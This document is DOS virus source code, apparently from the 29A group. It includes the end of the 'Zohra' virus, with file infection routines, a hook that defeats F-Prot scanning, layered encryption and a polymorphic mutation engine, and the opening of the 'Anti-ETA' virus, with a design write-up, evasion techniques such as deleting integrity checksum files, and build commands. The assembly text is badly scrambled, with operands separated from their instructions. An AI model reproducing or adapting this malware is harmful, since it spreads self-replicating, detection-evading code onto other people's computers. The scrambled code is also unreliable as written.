ax,word ptr es:[di+11h] dx,word ptr es:[di+13h] es:[di+15h],ax es:[di+17h],dx cx,10h cx ax,word ptr ds:[header+8] byte ptr ds:[1],dl ; Delta offset, we put it in the ;instructions

call

copiarse

mov inc mov mov mov

ds:word ax ds:word ds:word ds:word

ptr [cs_ip+2],ax

; We actualize header

ptr [ss_sp],ax ptr [cs_ip],dx ptr [ss_sp+2],((virus_size+300h-15h)/2)*2

mov mov mov div inc mov mov mov

ax,word ptr es:[di+11h] dx,word ptr es:[di+13h] cx,200h cx ax word ptr [header+2],dx ; File size, etc word ptr [header+4],ax word ptr [header+0ah],((virus_size)/16)+10h

mov mov mov mov lea push pop div

word ptr es:[di+15h],0 word ptr es:[di+17h],0 ah,40h ; Write header cx,01ch dx,header cs ds bp

pop mov or div

dx cx ax,5701h cl,1fh bp

mov div

ah,3eh bp

; Closing

pop div

ax ds dx bp

; Restore int24h

pop div

ax ds dx bp

; Restore int0h

call

pop_all_regs

jmp

salto_a_int21h

fecha:

; New file time

cerramos:

vamonox:

;**************************************************************************** ; 3fh Handler ;---------------------------------------------------------------------------get_prog_in_env:

@find_em:

; This routine gets the name of the program that ;is executing in this moment; compares the name ;that was sent in Dx with the two first letters ;of it. mov int mov mov xor mov scasb jnz cmp jnz add

ah,62h ; Active Psp 21h es,bx es,word ptr es:[2ch] ; environment_segment di,di al,0

mov cmp

bx,word ptr es:[di] ; Compares dx, set by the dx,bx ;previous routine, with what

@find_em byte ptr es:[di],0 @find_em di,3

miremos:

jnz

sigamos_con_eto

stc ret

;we've found as file name ; We left the carry set if it ;found it.

sigamos_con_eto: joder_busca:

mov scasb jz cmp jnz

al,5ch

; Searches '\'

miremos byte ptr es:[di],0h ; Or the end sigamos_con_eto

volvemos_ya: clc ret ;**************************************************************************** ; Function 3fh handler ;---------------------------------------------------------------------------lets_do_stuff:

; I had a little monkey I sent him to the country xchg call cmp jz cmp jnz mov call jnc call

ah,al push_all_regs al,1 @vete_pues bx,8 @vete_pues dx,'-F' get_prog_in_env @vete_pues pop_all_regs

pushf call call push pop xor mov rep

dword ptr cs:[int21h] push_all_regs ds dx ; Breaks F-prot's ability of detecting di es ;viruses: when it reads data from a file, si,si ;the virus sends the interrupt vector table, ds,si ;so F-prot --doesn't detect any virus-movsb

call retf

pop_all_regs 2

call jmp

pop_all_regs salto_a_int21h

; F-prot ?

@vete_pues:

;**************************************************************************** ; Com infection ;---------------------------------------------------------------------------; 'Pon la mano as¡ como si fueras a pedir...' nosvamosya: jmp

cerramos

cmp jnz

ds:[si],'MO' nosvamosya

; Is it a Com file ?

mov div

ax,3d02h bp

; Open r/w

podriaseruncom:

jc

nosvamosya

xchg push call pop

ax,bx bx @get_da_sft bx

push pop

cs ds

cmp jb cmp ja

word ptr es:[di+11h],01f40h ; Too short ? nosvamosya word ptr es:[di+11h],0ffffh-virus_size-300h nosvamosya ; Too large ?

mov and xor jz

ax,word ptr es:[di+0dh] al,1eh al,1eh nosvamosya

push push call

word ptr es:[di+0dh] word ptr es:[di+0fh] @comp_tiempo

mov mov lea div

ah,3fh cx,3 dx,header+201h+virus_size bp

mov add cmp jz

al,byte ptr ds:[header+201h+virus_size] al,byte ptr ds:[header+202h+virus_size] ; al,'M'+'Z' ; Exe header ? vamos_a_cerrar

mov push sub mov mov lea mov mov div

ax,word ptr es:[di+11h] ; File length ax ax,3 word ptr[salto_com+virus_size+202h],ax ; We prepare word ptr es:[di+15h],0 ;first bytes dx,salto_com+virus_size+201h cx,3 ; And write them ah,40h bp

pop mov add mov

ax word ptr es:[di+15h],ax ax,300h word ptr ds:[1],ax ; For the poly engine

call mov

copiarse byte ptr ds:[2],02h

; Jump to copy it

jmp

fecha

; Go to restore date, close.

sigamosconeto:

; We get the file sft

; Infected ?

no_rulado_aun: ; Push time/date

; Read first three bytes

vamos_a_cerrar:

thetext: nombre:

db 'Zohra will live forever ! Necromancy with her...',0 db '[Zohra] virus by Wintermute/29A, dedicated to the best '

db 'Necromancer of the Forgotten Realms,... I assure you ' db 'will live forever, my love... ;)',0 header: minalloc: maxalloc: SS_SP: Checksum: CS_IP: salto_com: flag1:

db db db dw dw dw db db

0ah dup (?) 0,0 0,0 0,offset virus_end+100h 0 offset host,0,0,0,0,0 0e9h,0,0 0

encrypt_end label byte buffer_uuencode equ ((encriptado/7)-1) buffer: ;

db buffer_uuencode+1 dup (?) *********** ENCRYPTION ***********

copiarse: call mov push pop

push_all_regs bp,virus_size+201h ; second copy cs ds

call call

rut_encriptado poly_engine

push mov mov mov pushf call pop

dx ah,40h dx,virus_size+1 cx,virus_size+202h

call call call

encryptit rut_desencriptado pop_all_regs

; UUencode encryptor ; We make decryptor

dword ptr cs:[int21h] dx

; Copy the virus

; Xor decryption ; UUencode decryption

ret ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

These two routines, rut_encriptado and rut_desencriptado are the first encryption of the virus; it's same as UUencode programs use to code ascii message. I'll explain: The virus takes one byte of the zone that's going to be encrypted: saves in buffer_uuencode it's most significative bit and changes this bit in the encrypted zone to 1 ( with an or 080h ). It does this with seven of them, making a rol to the byte which contains the original bits; after that, it begins with another seven bytes crunch. So that, engines like Tbscan can decrypt the Xor routine, but not this one. To decrypt, just the opposite; it takes each byte of the buffer ( each has seven high bits, beeing it's own most significative bit a 1, to keep on the UUencode chain ), and it replaces the original ones in the virus.

rut_encriptado: push mov lea

bx ; File_handle ! cx,buffer_uuencode si,encrypt_start+bp ; 7 bytes

bloque_7: push xchg add

cx bx,cx bx,bp

lea mov mov

di,[buffer+bx] cx,7 dx,1

; Block number plus buffer ;address

not mov or and rol shl add inc loop mov

cs:byte ptr[si] al,byte ptr[si] byte ptr[si],080h al,080h al,1 dx,1 dl,al si sigg byte ptr [di],dl

; Not the bytes

pop loop

cx bloque_7

pop ret

bx

sigg:

; DESENCRIPTACION rut_desencriptado: push mov lea

bx ; Save handle cx,buffer_uuencode si,cs:[encrypt_start+bp]

push xchg mov add lea

cx bx,cx cx,7 bx,bp di,[buffer+bx]

mov rol

al,byte ptr[di] al,2

push and ror or and not inc pop rol loop pop loop pop ret

ax al,1 al,1 al,07fh byte ptr [si],al cs:byte ptr [si] si ax al,1 un_bloque cx bloques_de_7 bx

bloques_de_7:

un_bloque:

;***************

; If Al is 0, it doesn't touch it

;*************** offset_second

equ

virus_size+201h

add mov

dx,word ptr [encryptvalue]+offset_second word ptr [encryptvalue]+offset_second,dx

push

offset go_here

mov mov

di,offset_second cx,virus_size/2

xor inc inc loop ret

[di],dx di di enc_loop

poly_engine:

encryptit:

enc_loop:

; *************************************************************************** ; THE NECROMANTIC MUTATION ENGINE ( NME ) ; *************************************************************************** ; The ants are in the sugar, the muscles atrophied ; Set the decryptor variables ( loop pointer, remaining instructions and ;current instruction ) go_here: mov mov mov

word ptr [bytes_referencia],0h word ptr [restantes_poly],200h ; n.instr decryptor byte ptr [numero_instruccion],6h ; n.instr funcionales

; This first part of the poly engine fills the blancks of the six blocks ;( 5 bytes each ) in which the decryptor instructions are divided on with ;random instructions.

two_times:

two_of_one:

next_inst_gen:

@di0dh: @loopt:

push pop

cs cs ds es

mov mov call and jz call jmp call inc call cmp jnz mov jmp mov loop

di,3h cx,3 aleatorio ah,1 two_of_one inst_2 next_inst_gen inst_1 di inst_1 di,0eh @di0dh di,017h @loopt di,0dh two_times

mov mov

di,011h cx,2

two_times_otavez: call and jz and jz call jmp tresd1: call inc call inc call jmp unod1y1d2: and jz call inc call jmp unod2y1d1: call inc call next_one_otave: mov call lea xor mov rep

aleatorio ah,1 unod1y1d2 al,1 tresd1 inst_3 next_one_otave inst_1 di inst_1 di inst_1 next_one_otave al,1 unod2y1d1 inst_1 di inst_2 next_one_otave inst_2 di inst_1 di,01dh inst_1

; The last

di,instrucciones si,si cx,instrsize movsb

; This part exchanges 50% times Si and Di registers, which are used in ;the decryptor instructions call and jz mov mov mov mov

aleatorio ah,1 sin_cambios_sidi byte ptr [instrucciones+7h],0beh byte ptr [instrucciones+10h],0f5h word ptr [instrucciones+15h],03c31h ; ¨ 313c ? word ptr [instrucciones+19h],04646h

sin_cambios_sidi: ; Depending on a random value, cx is obtained by the normal way ( mov cx, ) ; or with a mov dx, register, mov cx,dx call and jz cbw and jz mov mov jmp

aleatorio ah,1 cx_acabado

and jz

al,1 cx_con_dx

ah,1 siguiente_abajo byte ptr [instrucciones+0ah],0bbh word ptr [instrucciones+0dh],0d989h cx_acabado

siguiente_abajo:

mov mov jmp

byte ptr [instrucciones+0ah],0b8h word ptr [instrucciones+0dh],0c189h cx_acabado

mov mov

byte ptr [instrucciones+0ah],0bah word ptr [instrucciones+0dh],0d189h

cx_con_dx:

cx_acabado: ; To finish preparing the decrypting routine, we push the instructions that ;modify si, di and cx in the decryptor, and pop them randomly. push mov mov lea lea push rep pop ver_si_esta_hecho: mov mov or jz call and jz and jz and jz and lea jmp

dx byte ptr [variable_inst],00000111b cx,015d ; Copy the 15 bytes of the si,instrucciones+5 ;instructions to the uuencode di,buffer ;buffer ( unused ) di movsb si

al,byte ptr [variable_inst] dl,al ; Then, restore them in a al,al ;random order acabado_pop_inst aleatorio ah,1 popfirst al,1 popsecond dl,100b ; First instruction ( five ver_si_esta_hecho ;bytes ) byte ptr [variable_inst],11111011b di,instrucciones+0fh popfivebytes

popfirst: and jz and lea jmp

dl,1b ; Second one ver_si_esta_hecho byte ptr[variable_inst],011111110b di,instrucciones+0ah popfivebytes

and jz and lea

dl,10b ; Third ver_si_esta_hecho byte ptr[variable_inst],011111101b di,instrucciones+5h

popsecond:

popfivebytes: mov rep jmp acabado_pop_inst: pop

cx,5d movsb ver_si_esta_hecho

; Replace

dx

; The modification of the instructions of the decryptor finishes here with ;all changes made: the originals are kept at the beggining of the virus in ;memory. The posible 'final loop' exchange is made when writing the ;decryptor ; Here begins the main zone of the code generator; where it's decided ;what generator to use and random instructions are copied at the

;decryptor.

mov

di,virus_size+1

centro_poly: mov mov and jnz jmp sigamos_decriptor: cmp jae cmp jz @cont_decrr: dec jz dec jz dec jz

ax,word ptr [restantes_poly] ; Remaining cx,ax ;instructions cx,cx sigamos_decriptor acabamos_decryptor ; Checks cx,@getmcb-ant_debug @cont_decrr byte ptr [numero_instruccion],1 @@call_decryptgen cx @@call_inst_1 cx @@call_inst_2 cx @@call_inst_3

mov div inc cmp ja

cx,55h ; Do we need to put one of the decryptor cl ;instructions ? al byte ptr[numero_instruccion],al @@call_decryptgen

cmp jnz mov sub cmp jae

byte ptr[numero_instruccion],1 @continuemos ; To avoid the loop from going ax,di ;out of range ax,word ptr [loop_site] ax,70h @@call_decryptgen

call and jz and jz call dec inc jmp call add sub jmp

aleatorio ah,1 @@trestipos al,1 @@call_inst_4 inst_1 word ptr [restantes_poly] di centro_poly inst_4 di,4 word ptr [restantes_poly],4 centro_poly

@continuemos:

@@call_inst_1:

@@call_inst_4:

@@trestipos:

cbw and jz and jz @@call_inst_3: call add sub jmp @@inst_2odec: and jnz @@call_decryptgen: call

ah,1 @@inst_2odec al,11b @@call_sub inst_3 di,3 word ptr[restantes_poly],3 centro_poly al,111b ; Low probability @@call_inst_2 gen_instruction

@@call_inst_2:

@fix1: @@call_sub:

jmp call inc sub jmp cmp jb call add sub jmp

centro_poly inst_2 di word ptr[restantes_poly],2 centro_poly word ptr[restantes_poly],@getmcb-ant_debug @fix1 inst_5 di,si word ptr[restantes_poly],si ; Long non fixed size centro_poly ;routine

acabamos_decryptor: ret instrsize

equ

instr_end-instr_start

instr_start

label byte

; Decryptor instructions list; divided into five-bytes blocks. instrucciones: mov db

bp,0200h 90h,90h

mov

si,cs:word ptr [encryptvalue+bp]

mov db

cx,virus_size/2 90h,90h

mov db

di,bp 90h,90h,90h

; variable ( junk gen )

;5 ;A

;F

loop_dec:

;14h xor db

word ptr cs:[di],si 90h,90h

;19h

;

inc inc loop db db

di di loop_dec 90h ;1dh 90h,90h,90h

instr_end

label byte

;******************************************* ; Decryptor values ;-------------------Restantes_poly: Numero_instruccion: num_aleat: variable_inst: loop_site: bytes_referencia:

dw db dw db dw dw

200h 6 1250h 7h 0h 0h

; ; ; ; ; ;

Remaining instructions counter Instruction number Aleatory number counter 0111b Looping allocation Offset Reference for instructions

; This returns a random number in Ax after making some operations. aleatorio: mov

ax,word ptr[num_aleat]

aleat2:

call ror add push mov int pop add pop rol neg sub ror not mov ret

aleat2 ax,5 ; The seed number is stablished in each ax,1531h ;infection by the date, and modified cx dx ax ;by the minutes ( but in Al, the last ah,2ch ;used, to contribute to the slow poly ) 21h ;and hour. ax ah,ch dx cx ax,1 ax ax,2311h ax,3 ax word ptr[num_aleat],ax

; Instructions generators: the required instructions are generated and ;copied in es:di, which points to the decryptor in memory ; Main generator: Copies a decryptor instruction in es:di, with special ;care for the final loop gen_instruction: mov and jz dec jz dec jz

al,byte ptr [numero_instruccion] al,al @vasmosnos al @preparar_loop al @guardar_paraloop

dec lea add add

byte ptr [numero_instruccion] si,instrucciones si,word ptr [bytes_referencia] word ptr [bytes_referencia],5h

mov rep sub

cx,5 movsb word ptr[restantes_poly],5h

@gen_ya:

@vasmosnos: ret @guardar_paraloop: mov jmp

word ptr [loop_site],di @gen_ya

@preparar_loop: mov mov mov sub sub mov and jz mov jmp

ax,0fch si,di cx,word ptr [loop_site] si,cx ax,si cx,word ptr[num_aleat] cl,1 @make_a_jnz byte ptr [instrucciones+01ch],al @gen_ya

mov dec mov jmp

word ptr [instrucciones+01bh],7549h ax byte ptr [instrucciones+01dh],al @gen_ya

@make_a_jnz:

; Generator ----> One byte length instructions generator inst_1: call and jnz mov ret @cont_a1: and jz call and jz and jz call and jz mov ret @cont_a2_2_1: mov ret @cont_a2_1_1: mov ret @cont_a2_2: call and jnz mov ret @cont_a2_2_2: and jz mov ret @cont_a2_2_2_2: and mov ret @cont_a2: call and jz and jz call and jz and jz call and jz mov ret @cont_a2_2_11: mov ret @cont_a2_2_12: mov ret @cont_a2_2_13: mov ret @cont_a2_11: mov ret @cont_a2_12: mov ret

aleatorio al,3h @cont_a1 byte ptr es:[di],90h ah,1 @cont_a2 aleatorio ah,1h @cont_a2_2 al,1h @cont_a2_1_1 aleatorio al,1h @cont_a2_2_1 byte ptr es:[di],42h

; inc dx

byte ptr es:[di],43h

; inc bx

byte ptr es:[di],40h

; inc ax

aleatorio al,1h @cont_a2_2_2 byte ptr es:[di],48h

; dec ax

ah,1h @cont_a2_2_2_2 byte ptr es:[di],4bh

; dec bx

al,1h byte ptr es:[di],4ah

; dec dx

aleatorio al,3h @cont_a2_11 ah,3h @cont_a2_12 aleatorio al,3h @cont_a2_2_11 ah,3h @cont_a2_2_12 aleatorio al,1 @cont_a2_2_13 byte ptr es:[di],0cch

; int 3h

byte ptr es:[di],9fh

; lahf

byte ptr es:[di],99h

; cwd

byte ptr es:[di],98h

; cbw

byte ptr es:[di],0F9h

; stc

byte ptr es:[di],0F8h

; clc

; Generator ----> Two bytes length instructions inst_2: call and jz cbw and jz jmp

aleatorio ah,1h @cont_sub

jmp

@cont_mul

ah,1h sigunvm @cont_xor

sigunvm: @cont_sub: mov inc cbw and jz and jz call and jz and jz mov ret @cont_bsub_bx_cx: mov ret @cont_bsub_bx_dxdisi: cbw and jz and jz mov ret @cont_bsub_bx_di: mov ret @cont_bsub_bx_dx: mov ret @cont_bsub_ax: call and jz and jz mov ret @cont_bsub_ax_cx: mov ret @cont_bsub_ax_dxdisi: cbw and jz and jz mov ret

byte ptr es:[di],2bh di al,1 @cont_bsub_ax ah,1 @cont_bsub_dx aleatorio ah,1 @cont_bsub_bx_dxdisi al,1 @cont_bsub_bx_cx byte ptr es:[di],0d8h

; sub bx,ax

byte ptr es:[di],0d9h

; sub bx,cx

ah,1 @cont_bsub_bx_dx al,1 @cont_bsub_bx_di byte ptr es:[di],0deh

; sub bx,si

byte ptr es:[di],0dfh

; sub bx,di

byte ptr es:[di],0dah

; sub bx,dx

aleatorio ah,1 @cont_bsub_ax_dxdisi al,1 @cont_bsub_ax_cx byte ptr es:[di],0c3h

; sub ax,bx

byte ptr es:[di],0c1h

; sub ax,cx

ah,1 @cont_bsub_ax_dx al,1 @cont_bsub_ax_di byte ptr es:[di],0c6h

; sub ax,si

@cont_bsub_ax_di: mov ret @cont_bsub_ax_dx: mov ret @cont_bsub_dx: call and jz and jz mov ret @cont_bsub_dx_bx: mov ret @cont_bsub_dx_sidicx: cbw and jz and jz mov ret @cont_bsub_dx_di: mov ret @cont_bsub_dx_cx: mov ret

byte ptr es:[di],0c7h

; sub ax,di

byte ptr es:[di],0c2h

; sub ax,dx

aleatorio ah,1 @cont_bsub_dx_sidicx al,1 @cont_bsub_dx_bx byte ptr es:[di],0d0h

; sub dx,ax

byte ptr es:[di],0d3h

; sub dx,bx

ah,1 @cont_bsub_dx_cx al,1 @cont_bsub_dx_di byte ptr es:[di],0d6h

; sub dx,si

byte ptr es:[di],0d7h

; sub dx,di

byte ptr es:[di],0d1h

; sub dx,cx

@cont_xor: mov inc call and jz cbw and jz and jz mov ret

byte ptr es:[di],033h di aleatorio ah,1 @cont_xor_4last ah,1 @cont_xor_34 al,1 @cont_xor_2 byte ptr es:[di],0c0h

; xor ax,ax

mov ret

byte ptr es:[di],0c3h

; xor ax,bx

and jz mov ret

al,1 @cont_xor_4 byte ptr es:[di],0c2h

; xor ax,dx

mov ret

byte ptr es:[di],0dbh

; xor bx,bx

ah,1 @cont_xor_78 al,1 @cont_xor_6 byte ptr es:[di],0d8h

; xor bx,ax

@cont_xor_2:

@cont_xor_34:

@cont_xor_4:

@cont_xor_4last: cbw and jz and jz mov

ret @cont_xor_6: mov ret

byte ptr es:[di],0dah

; xor bx,dx

and jz mov ret

al,1 @cont_xor_8 byte ptr es:[di],0d2h

; xor dx,dx

mov ret

byte ptr es:[di],0d0h

; xor dx,ax

mov inc call

byte ptr es:[di],0f7h di aleatorio

and jz and jz mov ret

ah,1 @cont_divmul_34 al,1 @cont_divmul_2 byte ptr es:[di],0e3h

; mul bx

mov ret

byte ptr es:[di],0e1h

; mul cx

and jz mov ret

al,1 @cont_divmul_4 byte ptr es:[di],0e6h

; mul si

mov ret

byte ptr es:[di],0e7h

; mul di

@cont_xor_78:

@cont_xor_8:

@cont_mul:

@cont_divmul_2:

@cont_divmul_34:

@cont_divmul_4:

; Generator ----> Three bytes long instructions inst_3: call mov inc jz dec and jz and jz mov mov ret @mov_dx_inm: mov mov ret @add_or_sub_ax: and jz mov mov ret @mov_mem_ax: mov mov ret

aleatorio si,ax si ; We don't want a 0ffffh inst_3 si ah,1 @add_or_sub_ax al,1 @mov_dx_inm byte ptr es:[di],0bbh ; mov bx,reg word ptr es:[di+1],si byte ptr es:[di],0bah word ptr es:[di+1],si al,1 @mov_mem_ax byte ptr es:[di],05h word ptr es:[di+1],si byte ptr es:[di],0a1h word ptr es:[di+1],si

; mov dx,reg

; add ax,reg

; mov ax,mem

; Generator ----> Four bytes instructions inst_4:

@q_subbxfuck:

@q_movdxobx:

@q_movdx_mem:

@q_seg_parte:

@nosvamos_4: @q_seg_sub:

@nosvamos_41:

call mov inc jz dec and jz cbw and jz and jz mov mov ret mov mov ret and jz mov mov ret mov mov ret cbw and jz mov mov and jz inc ret mov mov and jz inc ret

aleatorio si,ax si inst_4 si ah,1 @q_seg_parte ah,1 @q_movdxobx al,1 @q_subbxfuck word ptr es:[di],019b4h word ptr es:[di+2],021cdh

; Get drive function

word ptr es:[di],0eb81h word ptr es:[di+2],si al,1 @q_movdx_mem word ptr es:[di],01e8bh word ptr es:[di+2],si word ptr es:[di],0168bh word ptr es:[di+2],si

ah,1 @q_seg_sub word ptr es:[di],0c281h word ptr es:[di+2],si al,1 @nosvamos_4 byte ptr es:[di+1] word ptr es:[di],0ea81h word ptr es:[di+2],si al,1 @nosvamos_41 word ptr es:[di+1]

; Generator ----> More than 4 bytes routines inst_5:

call and jz and jz mov mov call mov mov ret

aleatorio ; Anti-spectral routine, ah,1 ;generates a random value @c_seg_parte ;after a cmp ax,ax/jz xxx al,1 ;that will never be executed: @c_seg_prim ;'spectral' is a way of word ptr es:[di],0c033h ;finding polymorphic viruses word ptr es:[di+2],0274h;that checks for instructions aleatorio ;that aren't in the poly word ptr es:[di+4],ax ;engine; if the instructions si,06h ;are all of a fixed range, ;the spectral identifies the ;poly engine.

mov mov mov

word ptr es:[di],0f7fah word ptr es:[di+2],0f7dch word ptr es:[di+4],0fbdch

@c_seg_prim: ; Antidebugging routine ;( cli, neg sp, neg sp, ; sti )

@c_seg_parte:

mov ret

si,06h

and jz mov mov mov call mov mov ret

al,1 @c_seg_seg ; Anti-spectral word ptr es:[di],0ffb8h ; mov ax,0ffffh word ptr es:[di+2],040ffh ; inc ax word ptr es:[di+4],0274h ; jz seguimos aleatorio ; ( 2 crap bytes ) word ptr es:[di+6],ax si,08h

lea mov push rep pop sub ret

si,ant_debug cx,@getmcb-ant_debug cx movsb si di,si

mov iret

al,3

db dw

0eah 0,0

@c_seg_seg:

Int24h:

; Antidebugging, the routine ;placed near the beggining ;of Zohra

Salto_a_int21h: int21h: rutinadiv: pushf call mov add xor iret virus_end

; The virus jumps here when a div bp is used ;at the infection zone dword ptr cs:[int21h] bp,sp word ptr ss:[bp],2 bp,bp

label byte

encryptvalue:

dw

0

; Valor de encriptaci¢n

; This is to start deencrypting only from the first infection: this part ;doesn't get copied with the virus fuera_desencriptado: xor mov ret

bp,bp word ptr cs:[encrypt_start-2+bp],rut_desencriptado-encrypt_start

CODIGO ENDS END Comienzo ;

This Is Your World In Which We Grow, And We Will Grow To Hate You

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

Anti-ETA by GriYo/29A

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ÜÜÜÛÛß ÛÛÛÜÜÜÜ ÛÛÛÛÛÛÛ

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ßÛÛÛÛÛÛ ÜÜÜÜÛÛÛ ÛÛÛÛÛÛß

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ÛÛÛÛÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ

Introduction ÄÄÄÄÄÄÄÄÄÄÄÄ This virus is an iniciative of Mister Sandman (writing this right now) and GriYo, supported by the rest of the 29Aers and finally written by GriYo. Espa¤a (Spain in english) is a country that emerged and took its final and actual form during the first years of the XVIth century. It was born from the conjunction of many other kingdoms/independent countries (ie Arag¢n, Catalunya, Galicia, Euskadi, and the most important, Castilla) which lived (and fought) together in the actual spanish territory. This final union was possible by means of marriages between princes and princesses of these kingdoms, pacts, and, of course, wars -which became conquests-. Today, about four centuries later, a very little minority living in Euskadi (right now, one of the seventeen provinces in Spain) claim for their independence by means of violence. They don't hesitate on placing bombs in big stores, streets, cars, etc. thus causing the death of innocent people, or on killing policemen, politicians or anybody who just don't thinks the way they do. Luckily, many of these motherfuckers are arrested and put in prison far away from their home. Anyway, this has also become a problem, as they want to stay only in euskadian prisons, in order to be able to keep in contact with their family. This fact drove them to, apart from do more killings, kidnap an innocent young jailer, called Jos‚ Antonio Ortega Lara. They didn't ask for money. He was put underground in a very tiny and empty room, without any light, without any way to know when it dawns or when it gets dark, with very few oxygen to breath, with only some food every four days, served in the same receptacle where he had to shit and urinate. This is... without anything to do... except of waiting to be freed, and hoping that all the psychic tortures he was going submitted to were going to have an end some day. Happily, the spanish police found and freed him 532 days later. He had a long barb and 27kg less of his normal weight. But he eventually was able to see the light and walk (even talk) again. Today, Jos‚ Ortega Lara is still under psychical attention, carrying a normal life again. However, the reason to be of this virus takes place a few days later, when the euskadian violent-independentist group kidnapped Miguel Angel Blanco, a politician from a small town called Ermua, and threatened to kill him unless the spanish goverment would allow the approaching of the arrested terrorists to Euskadi in a 48-hour deadline. Since this was made public, millions of people went out to the street in order to show their inconformity with this cruel way of acting. Sadly, none of the mass meetings which collapsed the whole Spain for 48 hours were enough, and Miguel Angel Blanco, the 28 year-old politician, was eventually killed by one of these terrorists by means of two bullets shot in his head. The name of this euskadian terrorist group is ETA, hence the name of this virus, Anti-ETA, offered as a homage to all the families which were victims of the violent way of acting of these independentists, and especially to Jos‚ Antonio Ortega Lara and Miguel Angel Blanco Garrido (RIP).

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

29A against terrorism, the 29A staff.

Virus behavior ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ DLE Code executed when an infected file is run: -

Polymorphic decryptor CPU type check routine Installation check COMMAND.COM segment prefix search Host allocated conventional memory reduction Conventional memory order for installation COMMAND.COM segment prefix activation as current PSP (this context change allows Anti-ETA to perform memory allocation calls without warning a good bunch of TSR watchdogs - Interrupt 22h hooking into host PSP (without modifying IVT) - Control return to host DLE Tasks performed by the int 22h handler: -

Code decryption Interrupt 3 (breakpoint) vector saving Interrupt 3 hooking with the virus handler Interrupt 28h (DOS idle interrupt that points to an iret instruction by default) vector order - First byte of current int 28h handler storing, instead of an int 3 instruction - Jump to the original int 22h Every time in which COMMAND.COM calls its idle interrupt, a breakpoint instruction gives the control to the interrupt 3 handler, owned by Anti-ETA. This handler will count the number of calls until it determines that it's safe to hook interrupt 21h. I stole the idea on using int 28h in such a way from Rhincewind (see Catch22 TSR loader), but this approach is much more enhanced ;) DLE Code executed from the idle interrupt: -

Another decryption loop performance First int 28h byte restoring Interrupt 3 vector restoring Virus body move to another memory block (including UMBs) Old memory block release Interrupt 21h hooking

Encryption ÄÄÄÄÄÄÄÄÄÄ The main polymorphic decryptor receives the control when an infected file file is executed. On program termination, the virus int 22h handler receives the control and decrypts the whole Anti-ETA body using the decryptor code as key. Another decryptor appears when execution reaches virus' int 3 handler from the previously redirected idle interrupt. Infection and activation routines are also encrypted in memory (using a random cipher key each time) and their code will be decrypted on the fly when necessary.

Polymorphism

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

ÄÄÄÄÄÄÄÄÄÄÄÄ Anti-ETA is polymorphic in EXE and COM files, as well as in the COM files it sometimes may drop after having been called function 3bh of int 21h.

File infection ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ When any file is executed, Anti-ETA just stores the file name and infects it upon termination, and same for open/close functions. Every time the virus modifies any file, ANTI-VIR.DAT and CHKLIST.MS will be deleted (if they exist) in order to avoid getting caught by any kind of integrity checker. While infecting files, Anti-ETA uses standard DOS calls, checking for errors after each of them and without using any system file table (looking for some network compatibility). The virus tries to find the original int 21h entry point (using the 52h function backdoor), and uses it in all the file infection routines, thus bypassing many TSR watchdogs. Finally, the int 3 vector is redirected to the original int 21h EP, and Anti-ETA uses an int 3 instruction (only 1 byte) when calling any DOS function for infection.

Retro functions ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Checksum files ANTI-VIR.DAT and CHKLIST.MS are deleted from every directory where a file is going to be infected. Apart from this, the virus contains some antidebugging code.

Activation routines ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ On every call to the int 21h function 3bh (set current directory), the virus will sometimes drop an infected COM file, with a random name and a random date/time stamp). Its size will be also random due to the polymorphic encryption... and... btw, Anti-ETA will not infect its sons, just because they're too small ;) The main payload effect triggers every july 10th (the date in which Miguel Angel Blanco was kidnapped), displaying a graphic that consists on a white hand in which reads "Anti-ETA". The white hand is the symbol which we use in Spain to tell ETA "STOP THE KILLING!".

Greetings ÄÄÄÄÄÄÄÄÄ This time, very special greetings go from the 29A staff to all the victims of ETA, hoping this will have an end some day in the future.

Compiling it ÄÄÄÄÄÄÄÄÄÄÄÄ tasm /m anti-eta.asm tlink anti-eta.obj

anti_eta

segment .386 assume cs:anti_eta,ds:anti_eta,es:anti_eta,ss:anti_eta

org 0000h ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Some useful equates ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄmem_byte_size mem_para_size inf_byte_size inf_para_size byte_area01h byte_area02h byte_area03h

equ equ equ equ equ equ equ

offset virus_mem_end - offset entry_point (mem_byte_size+000Fh)/0010h offset virus_inf_end - offset entry_point (inf_byte_size+000Fh)/0010h offset end_area01h - offset crypt_area01h offset end_area02h - offset crypt_area02h offset end_area03h - offset crypt_area03h

